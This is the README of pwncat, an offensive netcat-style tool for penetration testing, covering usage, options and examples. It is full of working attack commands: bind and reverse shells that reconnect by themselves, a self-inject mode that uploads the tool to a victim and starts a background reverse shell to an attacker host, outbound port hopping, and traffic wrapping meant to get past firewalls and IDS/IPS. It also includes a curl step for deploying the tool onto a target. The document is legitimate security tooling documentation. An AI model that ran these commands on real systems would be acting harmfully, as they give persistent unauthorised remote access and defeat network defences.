pwncat 0.0.16a0

Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell and port forwarding magic - and its fully scriptable with Python (PSE).

pwncat

Install | TL;DR | Features | Behaviour | Docs | Usage | Examples | FAQ | Contributing | Disclaimer | License

 

Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE).

 

:warning: Warning: it is currently in feature-incomplete alpha state. Expect bugs and options to change. (Roadmap)

Code Style		Integration Tests
Styler Status Black mypy [1] pycodestyle pydocstyle pylint		PythonOS Linux MacOS Windows [2] 2.7 3.5 3.6 3.7 3.8 pypy2 pypy3

^{[1] mypy type coverage (fully typed: 94.07%)
[2] Windows builds are currently only failing, because they are simply stuck on GitHub actions.}

Motivation

Ever accidentally hit Ctrl+c on your reverse shell and it was gone for good? Ever waited forever for your client to connect back to you, because the Firewall didn't let it out? Ever had a connection loss because an IPS closed suspicious ports? Ever were in need of a quick port forwarding?

This one got you covered.

Apart from that the current features of nc, ncat or socat just didn't feed my needs and I also wanted to have a single tool that works on older and newer machines (hence Python 2+3 compat). Most importantly I wanted to have it in a language that I can understand and provide my own features with. (Wait for it, binary releases for Linux, MacOS and Windows will come shortly).

:tada: Install

pip install pwncat

:coffee: TL;DR

This is just a quick get-you-started overview. For more advanced techniques see :computer: Usage or :bulb: Examples.

Deploy to target

# Copy base64 data to clipboard from where you have internet access
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

# Paste it on the target machine
echo "<BASE64 STRING>" | base64 -d > pwncat
chmod +x pwncat

Inject to target

# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

^{[1] Read in more detail about self-injection}

Summon shells

# Bind shell (accepts new clients after disconnect)
pwncat -l -e '/bin/bash' 8080 -k

# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --recon -1 --recon-wait 1

# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

Local port forward -L (listening proxy)

# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306

# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u

Remote port forward -R (double client proxy)

# Connect to Remote MySQL server (remote port 3306) and then connect to another
# pwncat/netcat server on 10.0.0.1:4444 and bridge traffic
pwncat -R 10.0.0.1:4444 everythingcli.org 3306

# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u

_{SSH Tunnelling for fun and profit :link:
pwncat example: Port forwarding magic}

:star: Features

At a glance

pwncat has many features, below is only a list of outstanding characteristics.

Feature	Description
PSE	Fully scriptable with Pwncat Scripting Engine to allow all kinds of fancy stuff on send and receive
Self-injecting rshell	Self-injecting mode to deploy itself and start an unbreakable reverse shell back to you automatically
Bind shell	Create bind shells
Reverse shell	Create reverse shells
Port Forward	Local and remote port forward (Proxy server/client)
Ctrl+c	Reverse shell can reconnect if you accidentally hit Ctrl+c
Detect Egress	Scan and report open egress ports on the target (port hopping)
Evade FW	Evade egress firewalls by round-robin outgoing ports (port hopping)
Evade IPS	Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts (port hopping)
UDP rev shell	Try this with the traditional netcat
TCP / UDP	Full TCP and UDP support
Python 2+3	Works with Python 2, Python 3, pypy2 and pypy3
Cross OS	Work on Linux, MacOS and Windows as long as Python is available
Compatability	Use the traditional netcat as a client or server together with pwncat
Portable	Single file which only uses core packages - no external dependencies required.

Feature comparison matrix

	pwncat	netcat	ncat
Scripting engine	Python	:x:	Lua
Self-injecting	✔	:x:	:x:
IP ToS	:x:	✔	:x:
IPv4	✔	✔	✔
IPv6	*	✔	✔
Unix domain sockets	:x:	✔	✔
TCP	✔	✔	✔
UDP	✔	✔	✔
SCTP	:x:	:x:	✔
Command exec	✔	✔	✔
Inbound port scan	*	✔	✔
Outbound port scan	✔	:x:	:x:
Hex dump	*	✔	✔
Telnet	:x:	✔	✔
SSL	:x:	:x:	✔
HTTP	*	:x:	:x:
HTTPS	*	:x:	:x:
Chat	✔	✔	✔
Broker	:x:	:x:	✔
Simultaneous conns	:x:	:x:	✔
Allow/deny	:x:	:x:	✔
Local port forward	✔	:x:	:x:
Remote port forward	✔	:x:	:x:
Re-accept	✔	✔	✔
Proxy	:x:	✔	✔
UDP reverse shell	✔	:x:	:x:
Respawning client	✔	:x:	:x:
Port hopping	✔	:x:	:x:
Emergency shutdown	✔	:x:	:x:

^{* Feature is currently under development.}

:cop: Behaviour

Like the original implementation of netcat, when using TCP, pwncat (in client and listen mode) will automatically quit, if the network connection has been terminated, properly or improperly. In case the remote peer does not terminate the connection, or in UDP mode, pwncat will stay open.

Have a look at the following commands to better understand this behaviour:

# [Valid HTTP request] Does not quit, web server keeps connection intact
printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

# [Invalid HTTP request] Quits, because the web server closes the connection
printf "GET / \n\n" | pwncat www.google.com 80

# [TCP]
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will quit as well.
pwncat -l 4444 > output.txt
pwncat localhost 4444 < input.txt

# [UDP]
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt

There are many ways to alter this default behaviour. Have a look at the usage section for more advanced settings.

:closed_book: Documentation

Documentation will evolve over time.

• API docs can be found here: pwncat.api.html
• Python type coverage can be found here: pwncat.type.html
• HTML man page can be found here: pwncat.man.html
• Raw man page can be found here: pwncat.1

:computer: Usage

Type pwncat -h or click below to see all available options.

Click here to expand usage

usage: pwncat [-Cnuv] [-e cmd] hostname port
       pwncat [-Cnuv] [-e cmd] -l [hostname] port
       pwncat [-Cnuv] -z hostname port
       pwncat [-Cnuv] -L addr:port hostname port
       pwncat [-Cnuv] -R addr:port hostname port
       pwncat -V, --version
       pwncat -h, --help


Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as
a client to connect to a remote endpoint. If the connection to the remote
endoint is lost, pwncat will quit. See advanced options for how to automatically
reconnect.

positional arguments:
  hostname              Address to listen, forward or connect to
  port                  Port to listen, forward or connect to

mode arguments:
  -l, --listen          [Listen mode]:
                        Start a server and listen for incoming connections.
                        If using TCP and a connected client disconnects or the
                        connection is interrupted otherwise, the server will
                        quit. See -k/--keep-open to change this behaviour.

  -z, --zero            [Zero-I/0 mode]:
                        Connect to a remote endpoint and report status only.
                        Used for port scanning.

  -L addr:port, --local addr:port
                        [Local forward mode]:
                        This mode will start a server and a client internally.
                        The internal server will listen locally on specified
                        hostname/port (positional arguments). Same as with -l.
                        The server will then forward traffic to the internal
                        client which connects to another server specified by
                        address given via -L/--local addr:port.
                        (I.e.: proxies a remote service to a local address)

  -R addr:port, --remote addr:port
                        [Remote forward mode]:
                        This mode will start two clients internally. One is
                        connecting to the target and one is connecting to
                        another pwncat/netcat server you have started some-
                        where. Once connected, it will then proxy traffic
                        between you and the target.
                        This mode should be applied on machines that block
                        incoming traffic and only allow outbound.
                        The connection to your listening server is given by
                        -R/--remote addr:port and the connection to the
                        target machine via the positional arguments.

optional arguments:
  -e cmd, --exec cmd    Execute shell command. Only for connect or listen mode.
  -C lf, --crlf lf      Specify, 'lf', 'crlf' or 'cr' to always force replacing
                        line endings for input and outout accordingly. Specify
                        'no' to completely remove any line feeds. By default
                        it will not replace anything and takes what is entered
                        (usually CRLF on Windows, LF on Linux and some times
                        CR on MacOS).
  -n, --nodns           Do not resolve DNS.
  -u, --udp             Use UDP for the connection instead of TCP.
  -v, --verbose         Be verbose and print info to stderr. Use -v, -vv, -vvv
                        or -vvvv for more verbosity. The server performance will
                        decrease drastically if you use more than three times.
  -c str, --color str   Colored log output. Specify 'always', 'never' or 'auto'.
                        In 'auto' mode, color is displayed as long as the output
                        goes to a terminal. If it is piped into a file, color
                        will automatically be disabled. This mode also disables
                        color on Windows by default. (default: auto)

command & control arguments:
  --self-inject cmd:host:port
                        Listen mode (TCP only):
                        If you are about to inject a reverse shell onto the
                        victim machine (via php, bash, nc, ncat or similar),
                        start your listening server with this argument.
                        This will then (as soon as the reverse shell connects)
                        automatically deploy and background-run an unbreakable
                        pwncat reverse shell onto the victim machine which then
                        also connects back to you with specified arguments.
                        Example: '--self-inject /bin/bash:10.0.0.1:4444'
                        Note: this is currently an experimental feature and does
                        not work on Windows remote hosts yet.

advanced arguments:
  --script-send file    All modes (TCP and UDP):
                        A Python scripting engine to define your own custom
                        transformer function which will be executed before
                        sending data to a remote endpoint. Your file must
                        contain the exact following function which will:
                        be applied as the transformer:
                        def transform(data, pse):
                            # NOTE: the function name must be 'transform'
                            # NOTE: the function param name must be 'data'
                            # NOTE: indentation must be 4 spaces
                            # ... your transformations goes here
                            return data
                        You can also define as many custom functions or classes
                        within this file, but ensure to prefix them uniquely to
                        not collide with pwncat's function or classes, as the
                        file will be called with exec().

  --script-recv file    All modes (TCP and UDP):
                        A Python scripting engine to define your own custom
                        transformer function which will be executed after
                        receiving data from a remote endpoint. Your file must
                        contain the exact following function which will:
                        be applied as the transformer:
                        def transform(data, pse):
                            # NOTE: the function name must be 'transform'
                            # NOTE: the function param name must be 'data'
                            # NOTE: indentation must be 4 spaces
                            # ... your transformations goes here
                            return data
                        You can also define as many custom functions or classes
                        within this file, but ensure to prefix them uniquely to
                        not collide with pwncat's function or classes, as the
                        file will be called with exec().

  --http                Connect / Listen / Local forward mode (TCP only):
                        Hide traffic in http packets to fool Firewalls/IDS/IPS.

  --https               Connect / Listen / Local forward mode (TCP only):
                        Hide traffic in https packets to fool Firewalls/IDS/IPS.

  -k, --keep-open       Listen mode (TCP only):
                        Re-accept new clients in listen mode after a client has
                        disconnected or the connection is unterrupted otherwise.
                        (default: server will quit after connection is gone)

  --rebind x            Listen mode (TCP and UDP):
                        If the server is unable to bind, it will re-initialize
                        itself x many times before giving up. Use -1 to re-init
                        endlessly. (default: fail after first unsuccessful try).

  --rebind-wait s       Listen mode (TCP and UDP):
                        Wait x seconds between re-initialization. (default: 1)

  --rebind-robin port   Listen mode (TCP and UDP):
                        If the server is unable to initialize (e.g: cannot bind
                        and --rebind is specified, it it will shuffle ports in
                        round-robin mode to bind to. Use comma separated string
                        such as '80,81,82' or a range of ports '80-100'.
                        Set --rebind to at least the number of ports to probe +1
                        This option requires --rebind to be specified.

  --reconn x            Connect mode / Zero-I/O mode (TCP only):
                        If the remote server is not reachable or the connection
                        is interrupted, the client will connect again x many
                        times before giving up. Use -1 to retry endlessly.
                        (default: quit if the remote is not available or the
                        connection was interrupted)
                        This might be handy for stable TCP reverse shells ;-)

  --reconn-wait s       Connect mode / Zero-I/O mode (TCP only):
                        Wait x seconds between re-connects. (default: 1)

  --reconn-robin port   Connect mode / Zero-I/O mode (TCP only):
                        If the remote server is not reachable or the connection
                        is interrupted and --reconn is specified, the client
                        will shuffle ports in round-robin mode to connect to.
                        Use comma separated string such as '80,81,82' or a range
                        of ports '80-100'.
                        Set --reconn to at least the number of ports to probe +1
                        This helps reverse shell to evade intrusiona prevention
                        systems that will cut your connection and block the
                        outbound port.
                        This is also useful in Connect or Zero-I/O mode to
                        figure out what outbound ports are allowed.

  -w s, --wait s        Connect mode (TCP only):
                        If a connection and stdin are idle for more than s sec,
                        then the connection is silently closed and the client
                        will exit. (default: wait forever).
                        Note: if --reconn is specified, the connection will be
                        re-opened.

  --ping-init           Connect mode / Zero-I/O mode (TCP and UDP):
                        UDP is a stateless protocol unlike TCP, so no hand-
                        shake communication takes place and the client just
                        sends data to a server without being "accepted" by
                        the server first.
                        This means a server waiting for an UDP client to
                        connect to, is unable to send any data to the client,
                        before the client hasn't send data first. The server
                        simply doesn't know the IP address before an initial
                        connect.
                        The --ping-init option instructs the client to send one
                        single initial ping packet to the server, so that it is
                        able to talk to the client.
                        This is the only way to make a UDP reverse shell work.
                        See --ping-word for what char/string to send as initial
                        ping packet (default: '\0')

  --ping-intvl s        Connect mode / Zero-I/O mode (TCP and UDP):
                        Instruct the client to send ping intervalls every s sec.
                        This allows you to restart your UDP server and just wait
                        for the client to report back in. This might be handy
                        for stable UDP reverse shells ;-)
                        See --ping-word for what char/string to send as initial
                        ping packet (default: '\0')

  --ping-word str       Connect mode / Zero-I/O mode (TCP and UDP):
                        Change the default character '\0' to use for upd ping.
                        Single character or strings are supported.

  --ping-robin port     Connect mode / Zero-I/O mode (TCP and UDP):
                        Instruct the client to shuffle the specified ports in
                        round-robin mode for a remote server to ping.
                        This might be handy to scan outbound allowed ports.
                        Use --ping-intvl 0 to be faster.

  --safe-word str       All modes:
                        If pwncat is started with this argument, it will shut
                        down as soon as it receives the specified string. The
                        --keep-open (server) or --reconn (client) options will
                        be ignored and it won't listen again or reconnect to you.
                        Use a very unique string to not have it shut down
                        accidentally by other input.

misc arguments:
  -h, --help            Show this help message and exit
  -V, --version         Show version information and exit

:bulb: Examples

Upgrade your shell to interactive

This is a universal advice and not only works with pwncat, but with all other common tools.

When connected with a reverse or bind shell you'll notice that no interactive commands will work and hitting Ctrl+c will terminate your session. To fix this, you'll need to attach it to a TTY (make it interactive). Here's how:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z

# get your current terminal size (rows and columns)
stty size

# for bash/sh (enter raw mode and disable echo'ing)
stty raw -echo
fg

# for zsh (enter raw mode and disable echo'ing)
stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm
stty rows <num> columns <cols>   # <num> and <cols> values found above by 'stty size'

^{[1] Reverse Shell Cheatsheet}

UDP reverse shell

Without tricks a UDP reverse shell is not really possible. UDP is a stateless protocol compared to TCP and does not have a connect() method as TCP does. In TCP mode, the server will know the client IP and port, once the client issues a connects(). In UDP mode, as there is no connect(), the client simply sends data to an address/port without having to connect first. Therefore, in UDP mode, the server will not be able to know the IP and port of the client and hence, cannot send data to it first. The only way to make this possible is to have the client send some sort of data to the server first, so that the server can see what IP/port has sent data to it.

pwncat emulates the TCP connect() by having the client send a null byte to the server once or periodically via --ping-intvl or --ping-init.

# The client
# --exec            # Provide this executable
# --udp             # Use UDP mode
# --ping-init       # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444

Unbreakable TCP reverse shell

Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily. In other words, the client will keep trying to connect to the specified server until success. If the connection is interrupted, it will keep trying again.

# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --reconn          # Automatically reconnect back to you indefinitely
# --reconn-wait     # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn -1 --reconn-wait 2 10.0.0.1 4444

Unbreakable UDP reverse shell

Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily. In other words, the client will keep sending null bytes to the server to constantly announce itself.

# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --ping-intvl      # Ping the server every 2 seconds

pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444

Self-injecting reverse shell

Let's imagine you are able to create a very simple and unstable reverse shell from the target to your machine, such as a web shell via a PHP script or similar. Knowing, that this will not persist very long or might break due to unstable network connection, you could use pwncat to hook into this connection and deploy itself unbreakably on the target - fully automated.

All you have to do, is use pwncat as your local listener and start it with the --self-inject switch. As soon as the client (e.g.: the reverse web shell) connects to it, it will do a couple of things:

1. Enumerate Python availability and versions on the target
2. Dump itself base64 encoded onto the target
3. Use the target's Python to decode itself.
4. Use the target's Python to start itself as an unbreakable reverse shell back to you

Once this is done, you can keep using the current connection or simply abandon it and start a new listener (yes, you don't need to start the listener before starting the reverse shell) to have the new pwncat client connect to you. The new listener also doesn't have to be pwncat, it can also be netcat or ncat.

The --self-inject switch:

pwncat -l 4444 --self-inject <cmd>:<host>:<port>

• <cmd>: This is the command to start on the target (like -e/--exec, so you want it to be cmd.exe or /bin/bash)
• <host>: This is for your local machine, the IP address to where the reverse shell shall connect back to
• <port>: This is for your local machine, the port on which the reverse shell shall connect back to

So imagine your Kali machine is 10.0.0.1. You instruct your webshell that you inject onto a Linux server to connect to you at port 4444:

# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

You will then see something like this:

[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn -1 --reconn-wait 1 10.0.0.1 4445 &

And you are set. You can now start another listener locally at 4445 (again, it will connect back to you endlessly, so it is not required to start the listener first).

# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445

Logging

Note: Ensure you have a reverse shell that keeps coming back to you. This way you can always change your logging settings without loosing the shell.

If you feel like, you can start a listener in full TRACE logging mode to figure out what's going on or simply to troubleshoot. Log message are colored depending on their severity. Colors are automatically turned off, if stderr is not a pty, e.g.: if piping those to a file. You can also manually disable colored logging for terminal outputs via the --color switch.

pwncat -vvvv -l 4444

You will see (among all the gibberish) a TRACE message:

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

As soon as you saw this on the listener, you can issue commands to the client. All the debug messages are also not necessary, so you can safely Ctrl+c terminate your server and start it again in silent mode:

pwncat -l 4444

Now wait a maximum a few seconds, depending at what interval the client comes back to you and voila, your session is now again without logs.

Having no info messages at all, is also sometimes not desirable. You might want to know what is going on behind the scences or? Safely Ctrl+c terminate your server and redirect the notifications to a logfile:

pwncat -l -vvv 4444 2> comm.txt

Now all you'll see in your terminal session are the actual command inputs and outputs. If you want to see what's going on behind the scene, open a second terminal window and tail the comm.txt file:

# View communication info
tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

Port forwarding magic

Local TCP port forwarding

Scenario

1. Alice can be reached from the Outside (TCP/UDP)
2. Bob can only be reached from Alice's machine

                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     TCP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat 72.0.0.1 3306     |      pwncat \                 |
                              |        -L 72.0.0.1:3306 \     |
                              |         10.0.0.1 3306         |

Local UDP port forwarding

Scenario

1. Alice can be reached from the Outside (but only via UDP)
2. Bob can only be reached from Alice's machine

                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat -L       |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                              |        -L 72.0.0.1:3306 \     |
                              |        10.0.0.1 3306          |

Remote TCP port forward

Scenario

1. Alice cannot be reached from the Outside
2. Alice is allowed to connect to the Outside (TCP/UDP)
3. Bob can only be reached from Alice's machine

                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     TCP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -l 4444           |      pwncat --reconn -1 \     |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Remote UDP port forward

Scenario

1. Alice cannot be reached from the Outside
2. Alice is allowed to connect to the Outside (UDP: DNS only)
3. Bob can only be reached from Alice's machine

                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u -l 53          |      pwncat -u --reconn -1 \  |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Outbound port hopping

If you have no idea what outbound ports are allowed from the target machine, you can instruct the client (e.g.: in case of a reverse shell) to probe outbound ports endlessly.

# Reverse shell on target (the client)
# --exec            # The command shell the client should provide
# --reconn          # Instruct it to reconnect endlessly
# --reconn-wait     # Reconnect every 0.1 seconds
# --reconn-robin    # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn -1 --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

Once the client is up and running, either use raw sockets to check for inbound traffic or use something like Wireshark or tcpdump to find out from where the client is able to connect back to you,

If you found one or more ports that the client is able to connect to you, simply start your listener locally and wait for it to come back.

pwncat -l <ip> <port>

If the client connects to you, you will have a working reverse shell. If you stop your local listening server accidentally or on purpose, the client will probe ports again until it connects successfully. In order to kill the reverse shell client, you can use --safe-word (when starting the client).

If none of this succeeds, you can add other measures such as using UDP or even wrapping your packets into higher level protocols, such as HTTP or others. See PSE or examples below for how to transform your traffic.

Pwncat Scripting Engine (PSE)

pwncat offers a Python based scripting engine to inject your custom code before sending and after receiving data.

How it works

You will simply need to provide a Python file with the following entrypoint function:

def transform(data, pse):
    # Example to reverse a string
    return data[::-1]

Both, the function name must be named transform and the parsed arguments must be named data and pse. Other than that you can add as much code as you like. Each instance of pwncat can take two scripts:

1. --script-send: script will be applied before sending
2. --script-recv: script will be applied after receiving

See here for API and more details

Example 1: Self-built asymmetric encryption

PSE: asym-enc source code

This will encrypt your traffic asymmetrically. It is just a very basic ROT13 implementation with different shift lengths on both sides to emulate asymmetry. You could do the same and implement GPG based asymmetric encryption for PSE.

# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-server_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-server_recv.py

# client
pwncat -vvvv localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-client_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-client_recv.py

Example 2: Self-built HTTP POST wrapper

PSE: http-post source code

This will wrap all traffic into a valid HTTP POST request, making it look like normal HTTP traffic.

# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

# client
pwncat -vvvv localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

:information_source: FAQ

Q: Is pwncat compatible with netcat?

A: Yes, it is fully compatible in the way it behaves in connect, listen and zero-i/o mode. You can even mix pwncat with netcat, ncat or similar tools.

Q: Does it work on X?

A: In its current state it works with Python 2, 3 pypy2 and pypy3 and is fully tested on Linux and MacOS. Windows support is available, but is considered experimental (see integration tests).

Q: I found a bug / I have to suggest a new feature! What can I do?

A: For bug reports or enhancements, please open an issue here.

Q: How can I support this project?

A: Thanks for asking! First of all, star this project to give me some feedback and see CONTRIBUTING.md for details.

:lock: cytopia sec tools

Below is a list of sec tools and docs I am maintaining.

Name	Category	Language	Description
offsec	Documentation	Markdown	Offsec checklist, tools and examples
header-fuzz	Enumeration	Bash	Fuzz HTTP headers
smtp-user-enum	Enumeration	Python 2+3	SMTP users enumerator
urlbuster	Enumeration	Python 2+3	Mutable web directory fuzzer
pwncat	Pivoting	Python 2+3	Cross-platform netcat on steroids
badchars	Reverse Engineering	Python 2+3	Badchar generator
fuzza	Reverse Engineering	Python 2+3	TCP fuzzing tool

:octocat: Contributing

See Contributing guidelines to help to improve this project.

:exclamation: Disclaimer

This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

:page_facing_up: License

MIT License

Copyright (c) 2020 cytopia